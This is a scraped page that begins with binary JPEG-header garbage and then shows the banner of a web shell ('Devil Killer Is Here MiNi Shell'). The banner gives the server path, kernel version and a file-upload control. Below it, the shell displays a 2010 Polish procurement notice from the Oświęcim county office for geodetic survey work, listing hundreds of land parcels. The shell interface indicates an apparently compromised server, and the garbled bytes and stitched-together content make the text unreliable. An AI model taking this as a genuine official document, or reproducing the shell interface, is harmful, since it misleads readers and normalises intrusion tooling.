JFIF ( %!1!%)+...383-7(-.+  -% &5/------------------------------------------------";!1AQ"aq2#3BRrb*!1"AQa2q#B ?yRd&vGlJwZvK)YrxB#j]ZAT^dpt{[wkWSԋ*QayBbm*&0<|0pfŷM`̬ ^.qR𽬷^EYTFíw<-.j)M-/s yqT'&FKz-([lև<G$wm2*e Z(Y-FVen櫧lҠDwүH4FX1 VsIOqSBۡNzJKzJξcX%vZcFSuMٖ%B ִ##\[%yYꉅ !VĂ1َRI-NsZJLTAPמQ:y״g_g= m֯Ye+Hyje!EcݸࢮSo{׬*h g<@KI$W+W'_> lUs1,o*ʺE.U"N&CTu7_0VyH,q ,)H㲣5<t ;rhnz%ݓz+4 i۸)P6+F>0Tв`&i}Shn?ik܀՟ȧ@mUSLFηh_er i_qt]MYhq 9LaJpPןߘvꀡ\"z[VƬ¤*aZMo=WkpSp \QhMb˒YH=ܒ m`CJt 8oFp]>pP1F>n8(*aڈ.Y݉[iTع JM!x]ԶaJSWҼܩ`yQ`*kE#nNkZKwA_7~ ΁JЍ;-2qRxYk=Uր>Z qThv@.w c{#&@#l;D$kGGvz/7[P+i3nIl`nrbmQi%}rAVPT*SF`{'6RX46PԮp(3W҅U\a*77lq^rT$vs2MU %*ŧ+\uQXVH !4t*Hg"Z챮 JX+RVU+ތ]PiJT XI= iPO=Ia3[ uؙ&2Z@.*SZ (")s8Y/-Fh Oc=@HRlPYp!wr?-dugNLpB1yWHyoP\ѕрiHִ,ِ0aUL.Yy`LSۜ,HZz!JQiVMb{( tژ <)^Qi_`: }8ٱ9_.)a[kSr> ;wWU#M^#ivT܎liH1Qm`cU+!2ɒIX%ֳNړ;ZI$?b$(9f2ZKe㼭qU8I[ U)9!mh1^N0 f_;׆2HFF'4b! yBGH_jтp'?uibQ T#ѬSX5gޒSF64ScjwU`xI]sAM( 5ATH_+s 0^IB++h@_Yjsp0{U@G -:*} TނMH*֔2Q:o@ w5(߰ua+a ~w[3W(дPYrF1E)3XTmIFqT~z*Is*清Wɴa0Qj%{T.ޅ״cz6u6݁h;֦ 8d97ݴ+ޕxзsȁ&LIJT)R0}f }PJdp`_p)əg(ŕtZ 'ϸqU74iZ{=Mhd$L|*UUn &ͶpHYJۋj /@9X?NlܾHYxnuXږAƞ8j ໲݀pQ4;*3iMlZ6w ȵP Shr!ݔDT7/ҡϲigD>jKAX3jv+ ߧز #_=zTm¦>}Tց<|ag{E*ֳ%5zW.Hh~a%j"e4i=vױi8RzM75i֟fEu64\էeo00d H韧rȪz2eulH$tQ>eO$@B /?=#٤ǕPS/·.iP28s4vOuz3zT& >Z2[0+[#Fޑ]!((!>s`rje('|,),y@\pЖE??u˹yWV%8mJ iw:u=-2dTSuGL+m<*צ1as&5su\phƃ qYLֳ>Y(PKi;Uڕp ..!i,54$IUEGLXrUE6m UJC?%4AT]I]F>׹P9+ee"Aid!Wk|tDv/ODc/,o]i"HIHQ_n spv"b}}&I:pȟU-_)Ux$l:fژɕ(I,oxin8*G>ÌKG}Rڀ8Frajٷh !*za]lx%EVRGYZoWѮ昀BXr{[d,t Eq ]lj+ N})0B,e iqT{z+O B2eB89Cڃ9YkZySi@/(W)d^Ufji0cH!hm-wB7C۔֛X$Zo)EF3VZqm)!wUxM49< 3Y .qDfzm |&T"} {*ih&266U9* <_# 7Meiu^h--ZtLSb)DVZH*#5UiVP+aSRIª!p挤c5g#zt@ypH={ {#0d N)qWT kA<Ÿ)/RT8D14y b2^OW,&Bcc[iViVdִCJ'hRh( 1K4#V`pِTw<1{)XPr9Rc 4)Srgto\Yτ~ xd"jO:A!7􋈒+E0%{M'T^`r=E*L7Q]A{]A<5ˋ.}<9_K (QL9FЍsĮC9!rpi T0q!H \@ܩB>F6 4ۺ6΋04ϲ^#>/@tyB]*ĸp6&<џDP9ᗟatM'> b쪗wI!܁V^tN!6=FD܆9*? q6h8  {%WoHoN.l^}"1+uJ ;r& / IɓKH*ǹP-J3+9 25w5IdcWg0n}U@2 #0iv腳z/^ƃOR}IvV2j(tB1){S"B\ ih.IXbƶ:GnI F.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /proc/self/root/home/vmanager/www/common/web/tenders/20100921/

Linux 9dbcd5f6333d 5.15.0-124-generic #134-Ubuntu SMP Fri Sep 27 20:20:17 UTC 2024 x86_64
Upload File :
Current File : //proc/self/root/home/vmanager/www/common/web/tenders/20100921/300912-N-2010.html

<p class="kh_header"><b>Oświęcim: Wykonanie opracowań geodezyjnych na potrzeby postępowań administracyjnych, 
 w celu uregulowania prawa własności nieruchomości Skarbu Państwa oraz jednostek samorządu terytorialnego zgodnie z ustawą z dnia 07 września 2007r. - o ujawnieniu w księgach wieczystych prawa własności nieruchomości Skarbu Państwa oraz jednostek samorządu terytorialnego
 (Dz. U. Nr 191, poz. 1365 z późn. zm.)</b><br>
<b>Numer ogłoszenia: 300912 - 2010; data zamieszczenia: 21.09.2010</b><br>
OGŁOSZENIE O ZAMÓWIENIU - usługi<br><br></p>

<p><b>Zamieszczanie ogłoszenia:</b> obowiązkowe.</p>
<p><b>Ogłoszenie dotyczy:</b> zamówienia publicznego.</p>

<p class="kh_title">SEKCJA I: ZAMAWIAJĄCY</p>

<p><b>I. 1) NAZWA I ADRES:</b> Powiat Oświęcimski - Starostwo Powiatowe w Oświęcimiu , ul. Wyspiańskiego 10, 32-602 Oświęcim, woj. małopolskie, tel. (033) 8449600, faks (033) 8449619.</p>
<ul class="kh_indent_1">
<li><b>Adres strony internetowej zamawiającego:</b> www.powiat.oswiecim.pl</li></ul>
<p><b>I. 2) RODZAJ ZAMAWIAJĄCEGO:</b> Administracja samorządowa.</p>

<p class="kh_title">SEKCJA II: PRZEDMIOT ZAMÓWIENIA</p>

<p><b>II.1) OKREŚLENIE PRZEDMIOTU ZAMÓWIENIA</b></p>
<p><b>II.1.1) Nazwa nadana zamówieniu przez zamawiającego:</b> Wykonanie opracowań geodezyjnych na potrzeby postępowań administracyjnych, 
 w celu uregulowania prawa własności nieruchomości Skarbu Państwa oraz jednostek samorządu terytorialnego zgodnie z ustawą z dnia 07 września 2007r. - o ujawnieniu w księgach wieczystych prawa własności nieruchomości Skarbu Państwa oraz jednostek samorządu terytorialnego
 (Dz. U. Nr 191, poz. 1365 z późn. zm.).</p>
<p><b>II.1.2) Rodzaj zamówienia:</b> usługi.</p>
<p><b>II.1.3) Określenie przedmiotu oraz wielkości lub zakresu zamówienia:</b> Przedmiotem zamówienia jest wykonanie opracowań geodezyjnych na potrzeby postępowań administracyjnych, w celu uregulowania prawa własności nieruchomości Skarbu Państwa oraz jednostek samorządu terytorialnego zgodnie z ustawą z dnia 07 września 2007r. - o ujawnieniu w księgach wieczystych prawa własności nieruchomości Skarbu Państwa oraz jednostek samorządu terytorialnego (Dz. U. Nr 191, poz. 1365 z późn. zm.). Zakres zamówienia został podzielony na 2 zadania, które zostały opisane poniżej.

1.	Zadanie
Wykonanie dokumentacji geodezyjnej (map do celów prawnych z legendą podziału) koniecznej do założenia ksiąg wieczystych dla parcel wymienionych w kolumnie 2 poniższej tabeli. W kolumnie 4 wskazany jest  stan prawny nieruchomości, którego aktualność należy sprawdzić w Wydziale Ksiąg Wieczystych Sądu Rejonowego w Oświęcimiu.

Lp.	Nr pgr	Położenie	KW/LWH
1	2	3	4
1	2065/19
2065/26
2065/27
2065/28
2065/29
2065/30
2065/32
2065/33
2065/34
2065/35
2065/36
2065/37
2065/38
2065/39
2065/40
2065/41
2065/49
2065/50
2065/51
2065/52
2065/53
2065/54
2065/55
2065/56
2065/57
2065/58
2065/59
2065/60
2065/61
2065/62
2065/63
2065/64
2065/65
2065/66
2065/67
2065/68
2065/69
2065/70
2065/71
2065/72
2065/73
2065/76
2065/77
2065/83
2065/84
2065/85
2065/86
2065/87
2065/88
2065/89
2065/90
2065/96
2065/97
2065/98
2065/99
	Babice. gm. Oświęcim	pgr  2065/1, 2065/3, 2065/2, 2065/8 dobro publiczne
2	2749/6
2749/7
2749/9
2749/18 
2749/19
2749/11
2749/12
2749/13
2749/14
2749/15
2749/16
2749/17	Brzeszcze obszar-wiejski. obręb Jawiszowice	pgr 2749 dobro publiczne

3	1350/60
1350/61
1350/62
1350/63
1350/66
1350/67
1350/68	Bobrek	1350/1 dobro publiczne
4	1350/64
1350/65	Bobrek	1350/9 dobro publiczne
5	1352/5
1352/6	Bobrek	1352 dobro publiczne
6	1353/10
1353/11
1353/5
1353/6
1353/7	Bobrek	1353 dobro publiczne
7	1354/1
1354/2
1354/4
1354/5	Bobrek	1354 dobro publiczne
8	1355/1
1355/2
1355/3	Bobrek	1355 dobro publiczne
9	277/16
277/17	Broszkowice	277/3 dobro publiczne
10	277/20
277/21	Broszkowice	277/1 dobro publiczne
11	279/3
279/4	Broszkowice	279/1 dobro publiczne
12	281/10
281/11	Broszkowice	281/4 dobro publiczne
13	281/12
281/13	Broszkowice	281/3 dobro publiczne
14 	2359/4
2359/7
2359/9	Oświęcim-miasto, obręb Brzezinka	2359/1,2359/2 dobro publiczne
15	1309/1
1309/2	Gorzów	1309 dobro publiczne
16	1401/1
1401/2
1401/4
1401/5
1401/12
1401/14
1401/15
1401/17
1401/22
1401/24	Rajsko	1401 dobro publiczne

2. Zadanie
Wykonanie opracowania geodezyjnego polegającego na badaniu ksiąg wieczystych i wypełnieniu tabeli 1, dla parcel wymienionych w kolumnie 2 tabeli 2 położonych w Brzeszczach, Jawiszowicach, Skidziniu, Wilczkowicach, Rajsku, Dworach II, Włosienicy oraz w Harmężach.

Tabela 1
Nr KW lub ZD	Nr działki	Liczba działek ewidencyjnych wchodzących w skład nieruchomości jedynie dla własności Skarbu Państwa i jednostek samorządu terytorialnego	Właściciel	Podstawa nabycia nieruchomości jedynie dla własności Skarbu Państwa i jednostek samorządu terytorialnego	Data ostatniego wpisu do KW lub ZD jedynie dla własności Skarbu Państwa i jednostek samorządu terytorialnego	Data odpisu/ data badania KW lub ZD	Uwagi
							
W przypadku gdy brak KW dla działki z wykazu należy wykonać badanie dla działki, z której powstała działka badana i w rubryce Uwagi umieścić legendę podziału parcel.

Tabela 2
Lp.	Nr działki	Pow.	Położenie
1	2	3	4
1	1535/13	1.0156	Brzeszcze
2	767/45	0.2590	Brzeszcze
3	767/75	0.0204	Brzeszcze
4	4228	0.0378	Brzeszcze
5	4229	0.2628	Brzeszcze
6	857/2	0.0812	Brzeszcze
7	3593/4	0.0310	Brzeszcze
8	1121/3	0.0256	Brzeszcze
9	1121/4	0.0020	Brzeszcze
10	1677/14	0.0075	Brzeszcze
11	4462	0.0078	Brzeszcze
12	686/11	0.0079	Brzeszcze
13	3453/3	0.2778	Brzeszcze
14	3453/4	3.6750	Brzeszcze
15	3534/1	0.3639	Brzeszcze
16	4459	0.0050	Brzeszcze
17	765/3	0.0258	Brzeszcze
18	2323/1	0.0320	Brzeszcze
19	2324/1	0.0497	Brzeszcze
20	2328/5	0.0030	Brzeszcze
21	2329/2	0.0115	Brzeszcze
22	756/2	0.0277	Brzeszcze
23	1209/5	0.1489	Brzeszcze
24	805/3	0.0376	Brzeszcze
25	4527	0.0035	Brzeszcze
26	1750/4	0.0030	Brzeszcze
27	814/30	1.2980	Jawiszowice
28	927/23	0.6845	Jawiszowice
29	927/22	0.4572	Jawiszowice
30	927/24	0.3798	Jawiszowice
31	939/22	0.0154	Jawiszowice
32	1554/3	0.0830	Jawiszowice
33	1614/8	0.0438	Jawiszowice
34	2021/4	0.0089	Jawiszowice
35	2135/2	0.0107	Jawiszowice
36	2148/4	0.0129	Jawiszowice
37	2193/4	0.0190	Jawiszowice
38	2231/15	0.0027	Jawiszowice
39	2284/16	0.0382	Jawiszowice
40	2292/6	0.0187	Jawiszowice
41	2329/8	0.0062	Jawiszowice
42	2356/5	0.0080	Jawiszowice
43	1955/4	0.0124	Jawiszowice
44	3057	0.0044	Jawiszowice
45	47/7	0.6265	Jawiszowice
46	41/3	1.2000	Jawiszowice
47	1913/1	1.9073	Skidziń
48	1914/1	0.1076	Skidziń
49	1914/2	1.3810	Skidziń
50	191/6	0.1436	Skidziń
51	196/2	0.0356	Skidziń
52	197/4	0.2510	Skidziń
53	197/6	0.8048	Skidziń
54	2123/5	0.7696	Skidziń
55	327/13	0.0552	Skidziń
56	330/8	0.0801	Skidziń
57	671/12	2.3752	Skidziń
58	671/15	0.2100	Skidziń
59	671/17	0.9438	Skidziń
60	671/3	1.0707	Skidziń
61	671/4	1.0791	Skidziń
62	671/9	0.9782	Skidziń
63	672/4	0.2400	Skidziń
64	672/6	0.2450	Skidziń
65	673/3	1.2788	Skidziń
66	673/7	0.5926	Skidziń
67	676/2	0.1436	Skidziń
68	676/3	0.4899	Skidziń
69	957/3	0.3428	Skidziń
70	957/4	0.1351	Skidziń
71	979/5	0.2830	Skidziń
72	982/3	2.0184	Skidziń
73	983/15	2.5096	Skidziń
74	983/52	2.7326	Skidziń
75	374/3	0.0307	Skidziń
76	374/6	0.0588	Skidziń
77	374/7	0.0611	Skidziń
78	392/4	0.3457	Skidziń
79	556/4	0.0153	Skidziń
80	556/5	0.1781	Skidziń
81	556/6	0.4518	Skidziń
82	558/31	0.1654	Skidziń
83	558/32	0.1633	Skidziń
84	558/33	0.0080	Skidziń
85	558/34	0.0012	Skidziń
86	558/35	0.0010	Skidziń
87	558/41	0.0753	Skidziń
88	558/42	0.2439	Skidziń
89	619/1	0.0207	Skidziń
90	619/2	0.0041	Skidziń
91	619/3	0.0770	Skidziń
92	619/4	0.0183	Skidziń
93	619/5	0.3112	Skidziń
94	619/6	0.0150	Skidziń
95	626/1	0.0046	Skidziń
96	626/2	0.0175	Skidziń
97	626/3	0.3568	Skidziń
98	626/4	0.3153	Skidziń
99	653/1	0.0200	Skidziń
100	653/2	0.0350	Skidziń
101	653/3	0.0042	Skidziń
102	653/4	0.0295	Skidziń
103	653/5	0.0064	Skidziń
104	653/6	0.1129	Skidziń
105	653/7	0.1541	Skidziń
106	653/8	0.3044	Skidziń
107	671/1	3.0872	Skidziń
108	673/1	4.1380	Skidziń
109	2128/4	0.0818	Skidziń
110	221/1	0.1431	Wilczkowice
111	1130/386	0.0833	Rajsko
112	1130/9	2.2488	Rajsko
113	1137/4	2.8003	Rajsko
114	1138/19	0.1730	Rajsko
115	1141/2	4.9777	Rajsko
116	1222	0.1430	Rajsko
117	1228	0.0656	Rajsko
118	1229	0.0627	Rajsko
119	1250/5	0.0759	Rajsko
120	1258/1	0.4075	Rajsko
121	1258/5	0.0401	Rajsko
122	1259/2	0.1351	Rajsko
123	1274/3	0.0341	Rajsko
124	1274/4	0.0414	Rajsko
125	1275/1	0.0311	Rajsko
126	1275/2	0.0362	Rajsko
127	1281	0.0935	Rajsko
128	327/3	0.6974	Rajsko
129	1141/22	0.1130	Rajsko
130	326/45	0.0102	Rajsko
131	326/46	0.0371	Rajsko
132	1137	0.3384	Rajsko
133	1141/15	0.0024	Rajsko
134	1258/2	0.1833	Rajsko
135	39/1	0.0231	Rajsko
136	200/19	0.0149	Rajsko
137	200/20	0.0163	Rajsko
138	200/21	0.0065	Rajsko
139	200/22	0.0068	Rajsko
140	200/23	0.0055	Rajsko
141	200/24	0.0139	Rajsko
142	200/25	0.1919	Rajsko
143	129/12	0.0092	Dwory II
144	129/13	0.0064	Dwory II
145	219/9	0.1735	Dwory II
146	231/10	0.0070	Dwory II
147	231/5	0.0169	Dwory II
148	231/6	0.0160	Dwory II
149	233/3	0.0071	Dwory II
150	234/3	0.0064	Dwory II
151	234/7	0.0045	Dwory II
152	245/20	0.0830	Dwory II
153	245/22	0.1784	Dwory II
154	554/154	0.0044	Dwory II
155	554/69	0.0666	Dwory II
156	554/79	0.0036	Dwory II
157	557/26	0.0082	Dwory II
158	557/28	0.0044	Dwory II
159	557/30	0.0046	Dwory II
160	557/46	0.0046	Dwory II
161	557/52	0.0008	Dwory II
162	557/56	0.0010	Dwory II
163	737/38	0.1593	Dwory II
164	737/42	0.0505	Dwory II
165	737/52	0.3407	Dwory II
166	843/6	0.0100	Dwory II
167	847/3	0.0062	Dwory II
168	853/2	0.0042	Dwory II
169	865/1	0.0186	Dwory II
170	871/75	0.1321	Dwory II
171	897/10	0.0140	Dwory II
172	897/12	0.0731	Dwory II
173	897/14	0.0034	Dwory II
174	897/15	0.0036	Dwory II
175	897/17	0.0486	Dwory II
176	897/19	0.0016	Dwory II
177	897/7	0.0890	Dwory II
178	914/139	0.0168	Dwory II
179	914/68	0.0120	Dwory II
180	914/69	0.0222	Dwory II
181	914/71	0.1134	Dwory II
182	914/78	13.1021	Dwory II
183	914/89	1.3897	Dwory II
184	914/91	12.4944	Dwory II
185	914/97	0.1258	Dwory II
186	2/11	0.0012	Dwory II
187	2/9	0.0130	Dwory II
188	314/4	0.0348	Dwory II
189	314/7	0.0307	Dwory II
190	315	0.0104	Dwory II
191	330/6	0.0200	Dwory II
192	331/2	0.0338	Dwory II
193	332/2	0.0100	Dwory II
194	363/4	0.0102	Dwory II
195	363/7	0.0125	Dwory II
196	4/4	0.0060	Dwory II
197	464/35	0.0025	Dwory II
198	468/3	0.0027	Dwory II
199	554/131	0.0030	Dwory II
200	554/132	0.0727	Dwory II
201	554/44	0.0511	Dwory II
202	554/70	0.1220	Dwory II
203	557/55	0.0036	Dwory II
204	557/63	0.0006	Dwory II
205	557/64	0.0043	Dwory II
206	582/91	0.3536	Dwory II
207	582/93	0.2257	Dwory II
208	582/95	0.0633	Dwory II
209	69/13	0.0208	Dwory II
210	69/14	0.0070	Dwory II
211	69/15	0.0372	Dwory II
212	73/5	0.0756	Dwory II
213	871/26	0.3931	Dwory II
214	871/53	0.0311	Dwory II
215	871/54	0.4061	Dwory II
216	909/4	0.0101	Dwory II
217	909/5	0.0234	Dwory II
218	911/3	0.0323	Dwory II
219	911/5	0.0466	Dwory II
220	912	0.0939	Dwory II
221	917/2	0.0147	Dwory II
222	129/17	0.0020	Dwory II
223	187/17	0.0012	Dwory II
224	187/18	0.0882	Dwory II
225	187/5	0.0163	Dwory II
226	204/4	0.0150	Dwory II
227	23/9	0.0056	Dwory II
228	2/6	0.0052	Dwory II
229	544/1	0.0040	Dwory II
230	545/4	0.0068	Dwory II
231	552/7	0.0273	Dwory II
232	556/11	0.0083	Dwory II
233	556/9	0.0050	Dwory II
234	557/57	0.0081	Dwory II
235	557/58	0.0039	Dwory II
236	561/15	0.0010	Dwory II
237	561/16	0.0092	Dwory II
238	569	0.0338	Dwory II
239	582/82	0.0304	Dwory II
240	593/24	0.1318	Dwory II
241	599/33	0.0662	Dwory II
242	728/4	0.0100	Dwory II
243	737/43	0.0065	Dwory II
244	79/18	0.0036	Dwory II
245	79/19	0.0014	Dwory II
246	79/20	0.0177	Dwory II
247	79/21	0.0217	Dwory II
248	852/2	0.0126	Dwory II
249	864/4	0.0070	Dwory II
250	868/3	0.0465	Dwory II
251	871/55	0.1633	Dwory II
252	871/65	0.0295	Dwory II
253	871/74	0.0388	Dwory II
254	871/76	0.0102	Dwory II
255	871/77	0.0468	Dwory II
256	871/68	0.0450	Dwory II
257	871/71	0.0076	Dwory II
258	871/72	0.0244	Dwory II
259	880/3	0.0240	Dwory II
260	880/4	0.0018	Dwory II
261	880/5	0.1168	Dwory II
262	888	0.0609	Dwory II
263	893/6	0.0065	Dwory II
264	893/8	0.0067	Dwory II
265	893/9	0.2733	Dwory II
266	897/13	0.0072	Dwory II
267	897/16	0.0513	Dwory II
268	897/18	0.2429	Dwory II
269	897/8	0.0110	Dwory II
270	897/9	0.2100	Dwory II
271	902/6	0.0192	Dwory II
272	902/7	0.5542	Dwory II
273	919	0.0175	Dwory II
274	447/6	0.0015	Dwory II
275	231/11	0.0024	Dwory II
276	233/4	0.0054	Dwory II
277	234/8	0.0042	Dwory II
278	245/21	0.0156	Dwory II
279	245/23	0.0218	Dwory II
280	350/4	0.0014	Dwory II
281	474/33	0.0913	Dwory II
282	557/25	0.0031	Dwory II
283	557/27	0.0051	Dwory II
284	557/29	0.0058	Dwory II
285	737/53	0.0418	Dwory II
286	840/2	0.0176	Dwory II
287	847/4	0.0332	Dwory II
288	848/5	0.0384	Dwory II
289	853/1	0.0012	Dwory II
290	865/2	0.0120	Dwory II
291	914/140	0.0030	Dwory II
292	914/90	0.0428	Dwory II
293	914/92	0.0143	Dwory II
294	914/93	0.0070	Dwory II
295	914/94	0.0355	Dwory II
296	914/95	0.1042	Dwory II
297	914/96	0.0122	Dwory II
298	914/98	0.2252	Dwory II
299	936	0.0155	Włosienica
300	447	0.0299	Włosienica
301	749/1	0.0484	Włosienica
302	901/17	0.0013	Włosienica
303	901/18	0.1307	Włosienica
304	925/4	0.2979	Włosienica
305	835/1	0.0028	Włosienica
306	835/2	0.0586	Włosienica
307	154/4	0.0454	Włosienica
308	341/5	0.0215	Włosienica
309	423/3	0.0087	Włosienica
310	781/8	0.1213	Włosienica
311	911/2	0.0026	Włosienica
312	958/5	0.0469	Włosienica
313	958/8	0.0466	Włosienica
314	958/9	0.0210	Włosienica
315	77/4	0.1117	Harmęże
316	77/5	0.0332	Harmęże
317	77/6	0.0161	Harmęże
318	315/2	0.4294	Harmęże
319	315/3	0.0766	Harmęże
320	315/4	0.1879	Harmęże
321	316/2	0.0262	Harmęże
322	316/3	0.0075	Harmęże
323	316/4	0.1841	Harmęże
324	316/5	0.0470	Harmęże.</p>
<p><b>II.1.4) Czy przewiduje się udzielenie zamówień uzupełniających:</b> nie.</p>

<p><b>II.1.5) Wspólny Słownik Zamówień (CPV):</b> 71.35.40.00-4.</p>
<p><b>II.1.6) Czy dopuszcza się złożenie oferty częściowej:</b> tak, liczba części: 2.</p>
<p><b>II.1.7) Czy dopuszcza się złożenie oferty wariantowej:</b> nie.</p><br>
<p><b>II.2) CZAS TRWANIA ZAMÓWIENIA LUB TERMIN WYKONANIA:</b> Zakończenie: 10.12.2010.</p>

<p class="kh_title">SEKCJA III: INFORMACJE O CHARAKTERZE PRAWNYM, EKONOMICZNYM, FINANSOWYM I TECHNICZNYM</p>


<p><b>III.2) ZALICZKI</b></p>
<ul class="kh_indent_1"><li><b>Czy przewiduje się udzielenie zaliczek na poczet wykonania zamówienia:</b> nie</li></ul>
<p><b>III.3) WARUNKI UDZIAŁU W POSTĘPOWANIU ORAZ OPIS SPOSOBU DOKONYWANIA OCENY SPEŁNIANIA TYCH WARUNKÓW</b></p>
<ul class="kh_indent_1">
<li><p><b>III. 3.1) Uprawnienia do wykonywania określonej działalności lub czynności, jeżeli przepisy prawa nakładają obowiązek ich posiadania</b></p>
<p><b>Opis sposobu dokonywania oceny spełniania tego warunku</b></p>
<ul class="kh_indent_1"><li><p>opisano w SIWZ</p>
</li></ul></li><li><p><b>III.3.2) Wiedza i doświadczenie</b></p>
<p><b>Opis sposobu dokonywania oceny spełniania tego warunku</b></p>
<ul class="kh_indent_1"><li><p>opisano w SIWZ</p>
</li></ul></li><li><p><b>III.3.3) Potencjał techniczny</b></p>
<p><b>Opis sposobu dokonywania oceny spełniania tego warunku</b></p>
<ul class="kh_indent_1"><li><p>opisano w SIWZ</p>
</li></ul></li><li><p><b>III.3.4) Osoby zdolne do wykonania zamówienia</b></p>
<p><b>Opis sposobu dokonywania oceny spełniania tego warunku</b></p>
<ul class="kh_indent_1"><li><p>opisano w SIWZ</p>
</li></ul></li><li><p><b>III.3.5) Sytuacja ekonomiczna i finansowa</b></p>
<p><b>Opis sposobu dokonywania oceny spełniania tego warunku</b></p>
<ul class="kh_indent_1"><li><p>opisano w SIWZ</p>
</li></ul></li></ul>
<p><b>III.4) INFORMACJA O OŚWIADCZENIACH LUB DOKUMENTACH, JAKIE MAJĄ DOSTARCZYĆ WYKONAWCY W CELU POTWIERDZENIA SPEŁNIANIA WARUNKÓW UDZIAŁU W POSTĘPOWANIU ORAZ NIEPODLEGANIA WYKLUCZENIU NA PODSTAWIE ART. 24 UST. 1 USTAWY</b></p>
<ul class="kh_indent_1"><li>
<p><b>III.4.1) W zakresie wykazania spełniania przez wykonawcę warunków, o których mowa w art. 22 ust. 1 ustawy, oprócz oświadczenia o spełnieniu warunków udziału w postępowaniu, należy przedłożyć:</b></p>
<ul style="text-align: justify; margin-right: 20px; list-style: disc;">
<li  style="margin-bottom: 12px;">wykaz wykonanych, a w przypadku świadczeń okresowych lub ciągłych również wykonywanych, dostaw lub usług  w zakresie niezbędnym do wykazania spełniania warunku wiedzy i doświadczenia w okresie ostatnich trzech lat przed upływem terminu składania ofert albo wniosków o dopuszczenie do udziału w postępowaniu, a jeżeli okres prowadzenia działalności jest krótszy - w tym okresie, z podaniem ich wartości, przedmiotu, dat wykonania i odbiorców, oraz załączeniem dokumentu potwierdzającego, że te dostawy lub usługi zostały wykonane lub są wykonywane należycie</li>

<li  style="margin-bottom: 12px;">wykaz osób, które będą uczestniczyć w wykonywaniu zamówienia, w szczególności odpowiedzialnych za świadczenie usług, kontrolę jakości lub kierowanie robotami budowlanymi, wraz z informacjami na temat ich kwalifikacji zawodowych, doświadczenia i wykształcenia niezbędnych dla wykonania zamówienia, a także zakresu wykonywanych przez nie czynności, oraz informacją o podstawie do dysponowania tymi osobami</li>

</ul></li>

<li><p><b>III.4.2) W zakresie potwierdzenia niepodlegania wykluczeniu na podstawie art. 24 ust. 1 ustawy, należy przedłożyć:</b></p>

<ul style="text-align: justify; margin-right: 20px; list-style: disc"><li style="margin-bottom: 12px;">oświadczenie o braku podstaw do wykluczenia</li>

<li style="margin-bottom: 12px;">aktualny odpis z właściwego rejestru, jeżeli odrębne przepisy wymagają wpisu do rejestru, w celu wykazania braku podstaw do wykluczenia w oparciu o art. 24 ust. 1 pkt 2 ustawy, wystawiony nie wcześniej niż 6 miesięcy przed upływem terminu składania wniosków o dopuszczenie do udziału w postępowaniu o udzielenie zamówienia albo składania ofert, a w stosunku do osób fizycznych oświadczenie w zakresie art. 24 ust. 1 pkt 2 ustawy</li>

</ul></li>
<li>
</li>
</ul>

